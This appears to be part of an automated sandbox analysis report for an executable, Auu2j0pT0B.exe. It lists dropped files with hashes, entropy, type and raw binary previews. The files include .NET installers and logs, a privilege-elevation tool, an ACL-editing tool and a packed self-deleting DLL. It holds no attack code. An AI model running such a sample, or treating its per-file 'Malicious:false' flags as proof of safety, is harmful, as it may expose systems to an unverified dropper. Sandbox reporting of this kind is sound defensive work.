                  Preview:BM,.......6...(...1...1................................iI.|4..{3...8...:...qI..oH..hH......8...9...<...A...>..}<...@...F...C..t:...A...D...qG..C...E..m:...L...K...H...G...L...N..yB...L..........N...S...Z...S..vC...J...U......V...S...R...Y...V...Y...Y...M...Z...h...x8..|<...i......]...\...Y...]...V...^...^...e...c...o...l...c...a..._..._...b...X...j...^...d...k...j...q...u...p...x+..p.....h...g...d...j...b...u...u...n...t...t...s...m...r...u...s...{"...4...i..r...m...m...w...u...q...t...}...K...N..U..l..........r.......x...{....!...#...)..@..N..V...............$...#...'...,..4..5..:..C..T..u......................... ...'...*..,.....<..B..V..\..e..p..............)..,..2..4..5..9..<..<..R..\..d...y........................................................ ..)..3..8..:..B..L..O..n......................................................4..^....................O...b...|.........................................................

                  C:\6231e956ee22143d5ce90e\sqmapi.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):144416
                  Entropy (8bit):6.7404750879679485
                  Encrypted:false
                  SSDEEP:3072:uochw/MFWrJjKOMxRSepuBaqn/NlnBh2Lx0JVzx1wWobn1ek8F7HncO5hK9YSHlN:zDFB47UhXBh2yJ5HcOSSSHZqG
                  MD5:3F0363B40376047EFF6A9B97D633B750
                  SHA1:4EAF6650ECA5CE931EE771181B04263C536A948B
                  SHA-256:BD6395A58F55A8B1F4063E813CE7438F695B9B086BB965D8AC44E7A97D35A93C
                  SHA-512:537BE86E2F171E0B2B9F462AC7F62C4342BEB5D00B68451228F28677D26A525014758672466AD15ED1FD073BE38142DAE478DF67718908EAE9E6266359E1F9E8
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................................................................Rich...................PE..L....IE...........!.........$.....................l.........................@......R.....@.........................D.......$...d....................... (... ......P...8............................\..@.......t.......D............................text............................... ..`.data...............................@....rsrc...............................@..@.reloc....... ......................@..Ba.IE8....IEC....IEP....IEZ.....IEe....IEP...........msvcrt.dll.ADVAPI32.dll.ntdll.DLL.USER32.dll.KERNEL32.dll...............................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\watermark.bmp

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PC bitmap, Windows 3.x format, 164 x 628 x 8, image size 102994, resolution 3779 x 3779 px/m, cbSize 104072, bits offset 1078
                  Category:dropped
                  Size (bytes):104072
                  Entropy (8bit):7.2628723112196
                  Encrypted:false
                  SSDEEP:768:QKUpOeBmAj72KbvEvffvCv7cTIMUHuRzHA8X9H51T9ho4xw7CgB1:QKULmAfbvEv47cIHzE9vo4SuU1
                  MD5:B0075CEE80173D764C0237E840BA5879
                  SHA1:B4CF45CD5BB036F4F210DFCBA6AC16665A7C56A8
                  SHA-256:AB18374B3AAB10E5979E080D0410579F9771DB888BA1B80A5D81BA8896E2D33A
                  SHA-512:71A748C82CC8B0B42EF5A823BAC4819D290DA2EDDBB042646682BCCC7EB7AB320AFDCFDFE08B1D9EEBE149792B1259982E619F8E33845E33EEC808C546E5C829
                  Malicious:false
                  Preview:BM........6...(.......t...........R...................};.......F.......T...c....H..b...t...m...z...d...a..._...f...f....&..x...j...w...o...k...r....+..........|...u...|...q...v...w...|...2..~...z.......x...........{.................................................................... ...#..:..P..e................................#..#..&..(..+..+..-........EDA................$..,../..4..2..6..;...........................$..'..,..0..:..?..E......................6..5..>...D...I...K...Q...j...................=...D...L...P...U...V...\...r.....................Y...\...`...d...b...f...j...l...{..................................`...g...o...u...|....................................................................................................................................................................................................................................................................................

                  C:\Users\user\AppData\Local\Temp\HFI59B8.tmp.html

                  Download File
                  Process:C:\6231e956ee22143d5ce90e\Setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):16118
                  Entropy (8bit):3.6434775915277604
                  Encrypted:false
                  SSDEEP:192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjT:fdsOT01KcBUFJFEWUxFzvHH
                  MD5:CD131D41791A543CC6F6ED1EA5BD257C
                  SHA1:F42A2708A0B42A13530D26515274D1FCDBFE8490
                  SHA-256:E139AF8858FE90127095AC1C4685BCD849437EF0DF7C416033554703F5D864BB
                  SHA-512:A6EE9AF8F8C2C7ACD58DD3C42B8D70C55202B382FFC5A93772AF7BF7D7740C1162BB6D38A4307B1802294A18EB52032D410E128072AF7D4F9D54F415BE020C9A
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\Users\user\AppData\Local\Temp\HFI78B9.tmp.html

                  Download File
                  Process:C:\02160d95efb0ac51c5e073\Setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                  Category:dropped
                  Size (bytes):16118
                  Entropy (8bit):3.6434775915277604
                  Encrypted:false
                  SSDEEP:192:7Ddx3KOTczFQ21Kp4n5DTx1iDecPeLHLHQFJFjZWblWUxFzJzcKHjT:fdsOT01KcBUFJFEWUxFzvHH
                  MD5:CD131D41791A543CC6F6ED1EA5BD257C
                  SHA1:F42A2708A0B42A13530D26515274D1FCDBFE8490
                  SHA-256:E139AF8858FE90127095AC1C4685BCD849437EF0DF7C416033554703F5D864BB
                  SHA-512:A6EE9AF8F8C2C7ACD58DD3C42B8D70C55202B382FFC5A93772AF7BF7D7740C1162BB6D38A4307B1802294A18EB52032D410E128072AF7D4F9D54F415BE020C9A
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\Users\user\AppData\Local\Temp\Microsoft .NET Framework 4 Setup_20241204_092310414.html

                  Download File
                  Process:C:\6231e956ee22143d5ce90e\Setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with very long lines (632), with CRLF line terminators
                  Category:dropped
                  Size (bytes):64122
                  Entropy (8bit):3.6952606770723238
                  Encrypted:false
                  SSDEEP:1536:fdsWyUr+WUxpvndVrGsYFCEZk+aZNOZ6+CecccctTxPR/RvtTtj+fffVVJJJJrrG:fdsWTr+WUxpvndV6sYFCEZk+aZNOZ6+t
                  MD5:71FC84B56FB519E0748C2CD67431AF1C
                  SHA1:7B71EF0DDFAA14F88701A9B0A5EACA4014DE489A
                  SHA-256:95D72748AA4ABBA136A2AB52223B3C691BB9741182F89CDFB131E4218241B070
                  SHA-512:76C83A43EDCAB864FF4A8793C46E2EBC9188B797A06A1E61B7A8B6F04B81FF8455D8B46DA4B20356F449A00C408AA37080C026B58C213D26942C72565469FBF8
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\Users\user\AppData\Local\Temp\Microsoft .NET Framework 4.5 Setup_20241204_092319958.html

                  Download File
                  Process:C:\02160d95efb0ac51c5e073\Setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with very long lines (560), with CRLF line terminators
                  Category:dropped
                  Size (bytes):56436
                  Entropy (8bit):3.6979738001467153
                  Encrypted:false
                  SSDEEP:1536:fdsWyUr+WUxpvnq2UGrOdYP3udjOE/65tuwzv1111cKg2wGM6vm00mooN5xl1g7j:fdsWTr+WUxpvnq2VrOdYP3udjOE/65tu
                  MD5:E1A1503500520053A428C333CC18B1A8
                  SHA1:B29629C2CDFE009DC11E53093CE82FCF4049A42A
                  SHA-256:1ABAFD7A6DCFBA7BD4FE31BD4D56A8FEC8285299835770692BD8FE3A0C7254B0
                  SHA-512:03CD2CEAAFB05B2E16D9CD168ADE0BE0B786671FDF77A6002CE9F5716D28862E5F9B9FD364CFD54AA277E6F3359081C7966122717C9ABFAB9E8CDDF69879E7F0
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\Users\user\AppData\Local\Temp\Setup_20241204_092305258.html

                  Download File
                  Process:C:\6231e956ee22143d5ce90e\Setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with very long lines (386), with CRLF line terminators
                  Category:dropped
                  Size (bytes):53852
                  Entropy (8bit):3.6990056287527104
                  Encrypted:false
                  SSDEEP:1536:fdsWyUr+WUxpvndVrGsYFCEZk+aZNOZ6+CecccctTxPR/RvtTtj+fffVVJJJJrrE:fdsWTr+WUxpvndV6sYFCEZk+aZNOZ6+r
                  MD5:92F7CAB327E12F470F6A3EC1CD52560A
                  SHA1:21C2674F98DF12343CE12D74371C39B46293B75F
                  SHA-256:AEE2C3C7DCCF2235309876D24581D016D0C9B1D4495F951E432450A4C260226E
                  SHA-512:AF52ED2773C822C54C37D3C9A0F0A9F763F993B3C01292615E1C6C7BD743694A39B19F36DC5BCDBDA17E85A5C95469417C73740EA0580A2EA60AFF9EDBE115D1
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\Users\user\AppData\Local\Temp\Setup_20241204_092313192.html

                  Download File
                  Process:C:\02160d95efb0ac51c5e073\Setup.exe
                  File Type:HTML document, Unicode text, UTF-16, little-endian text, with very long lines (386), with CRLF line terminators
                  Category:modified
                  Size (bytes):46634
                  Entropy (8bit):3.704747621048978
                  Encrypted:false
                  SSDEEP:768:fdsOTLyUFJFEWUxFzvnq2UGrOdYP3udjOE/65tuwzv1111cKg2wGM6vm00mooN5I:fdsWyUr+WUxpvnq2UGrOdYP3udjOE/6G
                  MD5:88BC0F955643F9FEED1441852A3C3178
                  SHA1:DAD3287999034FF0AA9F9C16CE3CA25BF43D81AB
                  SHA-256:E6465889B9D7914A620ED05460FA1ECD09F5B174A73568373A53585DF398ED91
                  SHA-512:E9BDE4F41D7EA896FB84DC9564887664C27DFD2655F584E058E90165FD3C81DBA964E0CF13D0440FE59F6201719D7BB7D7EC358857AC8D46610F11AEB5C479B0
                  Malicious:false
                  Preview:..<.!.D.O.C.T.Y.P.E. .h.t.m.l. .P.U.B.L.I.C. .".-././.W.3.C././.D.T.D. .X.H.T.M.L. .1...1././.E.N.". .".h.t.t.p.:././.w.w.w...w.3...o.r.g./.T.R./.x.h.t.m.l.1.1./.D.T.D./.x.h.t.m.l.1.1...d.t.d.".>.....<.!.-.-. .T.h.e. .E.x.t.e.n.d.e.d. .C.o.p.y.r.i.g.h.t./.T.r.a.d.e.m.a.r.k. .L.a.n.g.u.a.g.e. .R.e.s.i.d.e.s. .A.t.:. .h.t.t.p.:././.w.w.w...m.i.c.r.o.s.o.f.t...c.o.m./.i.n.f.o./.c.p.y.r.t.I.n.f.r.g...h.t.m. .-.-.>.....<.h.t.m.l. .x.m.l.n.s.=.".h.t.t.p.:././.w.w.w...w.3...o.r.g./.1.9.9.9./.x.h.t.m.l.".>.....<.h.e.a.d.>.......<.m.e.t.a. .h.t.t.p.-.e.q.u.i.v.=.".C.o.n.t.e.n.t.-.T.y.p.e.". .c.o.n.t.e.n.t.=.".t.e.x.t./.h.t.m.l.;. .c.h.a.r.s.e.t.=.u.t.f.-.1.6."./.>.<.b.a.s.e. .t.a.r.g.e.t.=."._.b.l.a.n.k."./.>.......<.s.t.y.l.e. .t.y.p.e.=.".t.e.x.t./.c.s.s.".>.........h.t.m.l.{.o.v.e.r.f.l.o.w.:.s.c.r.o.l.l.}.........b.o.d.y.{.f.o.n.t.-.s.i.z.e.:.1.0.p.t.;.f.o.n.t.-.f.a.m.i.l.y.:.V.e.r.d.a.n.a.;.c.o.l.o.r.:.#.0.0.0.0.0.0.;.b.a.c.k.g.r.o.u.n.d.-.c.o.l.o.r.:.#.F.0.F.0.F.0.}...........h.e.a.d.e.r.

                  C:\Users\user\AppData\Local\Temp\dd_dotNetFx40_Full_setup_decompression_log.txt

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:CSV text
                  Category:dropped
                  Size (bytes):1140
                  Entropy (8bit):5.184320617357168
                  Encrypted:false
                  SSDEEP:24:qtPxOmB0ikjwrztjGye1vzNLK4FqHjHIWtI7jHOZQIwy8:qtZOoSwrztiyMvA4SIWQG6L
                  MD5:B63A691B023C9FA5288D94CE10A4C64D
                  SHA1:75F4171DDB4D8DA292B11BFDD707579906D4D380
                  SHA-256:90BC98D1961E34B6C331677B18A0C0C8ABA01C6D7E76D754FB7F426E8B8A511A
                  SHA-512:CA11D26FE90A43F951F8F0EF145DDA50A8BDDE6AC1BC80CE5971BFF887B5AA8F1197E07F0D86FCCC268F8794F52CEAAB665A65DA613F3DF2351DC5737A6E5B3C
                  Malicious:false
                  Preview:[12/4/2024, 9:23:3] === Logging started: 2024/12/04 09:23:03 ===..[12/4/2024, 9:23:3] Executable: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe v4.0.30319.1..[12/4/2024, 9:23:3] --- logging level: standard ---..[12/4/2024, 9:23:3] Successfully bound to the ClusApi.dll..[12/4/2024, 9:23:3] Error 0x800706d9: Failed to open the current cluster..[12/4/2024, 9:23:3] Cluster drive map: ''..[12/4/2024, 9:23:3] Considering drive: 'C:\'.....[12/4/2024, 9:23:3] Considering drive: 'D:\'.....[12/4/2024, 9:23:3] Drive 'D:\' is rejected because of the unknown or unsuitable drive type..[12/4/2024, 9:23:3] Drive 'C:\' has been selected as the largest fixed drive..[12/4/2024, 9:23:3] Directory 'C:\6231e956ee22143d5ce90e\' has been selected for file extraction..[12/4/2024, 9:23:3] Extracting files to: C:\6231e956ee22143d5ce90e\..[12/4/2024, 9:23:5] Extraction took 1.703 seconds..[12/4/2024, 9:23:5] Executing command line: 'C:\6231e956ee22143d5ce90e\\Setup.exe /q /norestart /x

                  C:\Users\user\AppData\Local\Temp\dd_dotNetFx45_Full_setup_decompression_log.txt

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe
                  File Type:CSV text
                  Category:dropped
                  Size (bytes):1152
                  Entropy (8bit):5.211837485308787
                  Encrypted:false
                  SSDEEP:24:XtPp4B0Rkjwl8ztjhIsensvzUfLK4Fqh+jHIWtjOjHDgOIqYKkp:XtB9SwCzt1IsWsvQ24CKIW56pq
                  MD5:96C60BF2068D9E849892AFA383BE155C
                  SHA1:B6D27E6D54A2F181A8694AD7952E76B612CB4B5D
                  SHA-256:E74D47154F8CDE455533901CE6B940770A9F7B15FFC0716F098F49A38FB43AE5
                  SHA-512:0D186D87A14005464F13B465C6EB1C259C2733FEB87ACE72C0EC460569A321144E283583F683C848CD75233E21083495149F5C64B23F12E920E3D4B0EE548BF5
                  Malicious:false
                  Preview:[12/4/2024, 9:23:11] === Logging started: 2024/12/04 09:23:11 ===..[12/4/2024, 9:23:11] Executable: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exe v4.5.50709.17929..[12/4/2024, 9:23:11] --- logging level: standard ---..[12/4/2024, 9:23:11] Successfully bound to the ClusApi.dll..[12/4/2024, 9:23:11] Error 0x800706d9: Failed to open the current cluster..[12/4/2024, 9:23:11] Cluster drive map: ''..[12/4/2024, 9:23:11] Considering drive: 'C:\'.....[12/4/2024, 9:23:11] Considering drive: 'D:\'.....[12/4/2024, 9:23:11] Drive 'D:\' is rejected because of the unknown or unsuitable drive type..[12/4/2024, 9:23:11] Drive 'C:\' has been selected as the largest fixed drive..[12/4/2024, 9:23:11] Directory 'C:\02160d95efb0ac51c5e073\' has been selected for file extraction..[12/4/2024, 9:23:11] Extracting files to: C:\02160d95efb0ac51c5e073\..[12/4/2024, 9:23:12] Extraction took 1.578 seconds..[12/4/2024, 9:23:12] Executing command line: 'C:\02160d95efb0ac51c5e073\\Setup.exe

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\PowerRun64.exe

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32+ executable (GUI) x86-64, for MS Windows
                  Category:dropped
                  Size (bytes):945944
                  Entropy (8bit):6.654096172451499
                  Encrypted:false
                  SSDEEP:24576:X2DW/xbMX2YIbxQsu3/PNLoQ+HyS2I4jRk:X2EgXoQsW/PNUQWnX4jRk
                  MD5:EFE5769E37BA37CF4607CB9918639932
                  SHA1:F24CA204AF2237A714E8B41D54043DA7BBE5393B
                  SHA-256:5F9DFD9557CF3CA96A4C7F190FC598C10F8871B1313112C9AEA45DC8443017A2
                  SHA-512:33794A567C3E16582DA3C2AC8253B3E61DF19C255985277C5A63A84A673AC64899E34E3B1EBB79E027F13D66A0B8800884CDD4D646C7A0ABE7967B6316639CF1
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i.@............yGI......p\.}....pJ......p[.............._.....................pP......ZJ......ZK.......H......pN.....Rich............................PE..d...(..K..........#......\...*......|..........@.....................................N........@...............@.................................T................j...Q.. ............................................................p...............................text....Z.......\.................. ..`.rdata...V...p...X...`..............@..@.data............v..................@....pdata...j.......l..................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SelfDel.dll

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
                  Category:dropped
                  Size (bytes):5120
                  Entropy (8bit):5.021119508727912
                  Encrypted:false
                  SSDEEP:96:NdekHUj5z13cPopei+Ml9PNDFbS7xg+TScrQ5:NdeuU9xcPopr+M9FbSS+TSE
                  MD5:E5786E8703D651BC8BD4BFECF46D3844
                  SHA1:FEE5AA4B325DEECBF69CCB6EADD89BD5AE59723F
                  SHA-256:D115BCE0A787B4F895E700EFE943695C8F1087782807D91D831F6015B0F98774
                  SHA-512:D14AD43A01DB19428CD8CCD2FE101750860933409B5BE2EB85A3E400EFCD37B1B6425CE84E87A7FE46ECABC7B91C4B450259E624C178B86E194BA7DA97957BA3
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................................t........................................Rich....................PE..L...rb.R...........!.............`..@v...p................................................@.........................`...D...X...........X...........................................................................................................UPX0.....`..............................UPX1.........p......................@....rsrc...............................@..............................................................................................................................................................................................................................................................................................................................................................................................................3.91.UPX!....

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:PE32+ executable (console) x86-64, for MS Windows
                  Category:dropped
                  Size (bytes):616312
                  Entropy (8bit):6.302197712270286
                  Encrypted:false
                  SSDEEP:12288:3G2NBTh+l8gAqAbdsuEa3nZGSebY7o937bfJ9Ud:3xNBTYlaLdaynZGBc7orbJ9Ud
                  MD5:1FB64FF73938F4A04E97E5E7BF3D618C
                  SHA1:AA0F7DB484D0C580533DEC0E9964A59588C3632B
                  SHA-256:4EFC87B7E585FCBE4EAED656D3DBADAEC88BECA7F92CA7F0089583B428A6B221
                  SHA-512:DA6007847FFE724BD0B0ABE000B0DD5596E2146F4C52C8FE541A2BF5F5F2F5893DCCD53EF315206F46A9285DDBD766010B226873038CCAC7981192D8C9937ECE
                  Malicious:false
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................}.........@..........................................................g...........Rich....................PE..d.....`..........".................x$.........@..........................................`.............................................................x.... ..P@...J..x...............p.......................(.......8...............8............................text............................... ..`.rdata... ......."..................@..@.data....8..........................@....pdata..P@... ...B..................@..@_RDATA.......p.......$..............@..@.rsrc...x............&..............@..@.reloc...............<..............@..B................................................................................................................................................................................

                  C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\Suvetllw.ico

                  Download File
                  Process:C:\Users\user\Desktop\Auu2j0pT0B.exe
                  File Type:MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
                  Category:dropped
                  Size (bytes):15086
                  Entropy (8bit):5.804701554033584
                  Encrypted:false
                  SSDEEP:192:8dmYdym67jBD46OEis+by5vaD7rodNeemOjD7s3APgfBplsNPSJz:8dtdyv7Nk6O3s+byGaNeTU4APsnlLz
                  MD5:6C7C89FD4BE1FC574FCB5A5311452ACE
                  SHA1:2352EDF87A11BA9D6262B2F43D5E293D67F3C4A4
                  SHA-256:A46E519B5032F1DD1BBD08F35F48F8C330F1C76A098954EFBA8DF8B0ED6A065C
                  SHA-512:65B542EB91AA4E5C844E88EB37C59EC350CC0BCA80C966EC88DE8D7CD04D6E774F560F12BD34340BACE7C2936117DA1651AB7D87603E05B3CDB38A48B78E9723
                  Malicious:false
                  Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... ............................................v............................ded.jkk........./;K.@Rh4.N_4.\h4................~~~.........wwv.........................1...J...{...........................yyz.........................1...G...~...........xy{.........................~~..............U...7...v.......llm.PPQ.wwy.........sst.nno.||}.}}~.mmo...........N...................vvv.YYY.[[Z.qqq.....................................NNN.QQQ.UUU.UUU.iii.~~~.[[[.JJJ...............................^^^.hhh.mmm.mmm.jjj.kjj.sss.edd.WVV.UUU.UTT.d..k...........}...VVV.[[[.^^^.^^^.[[[.p|}.|...{...............d...h...............f...O...........N...I...s.......k...l...j...d...f..............."...Y...........C...............w...x...u...h..w...........h...>...Q...........;...2...........{...z...u....U...T.z.u.t.v.o.x.x.r..._..8~.8v.=v.Pv..~v...v...v...r.........ZB..x.z...O.......................................................

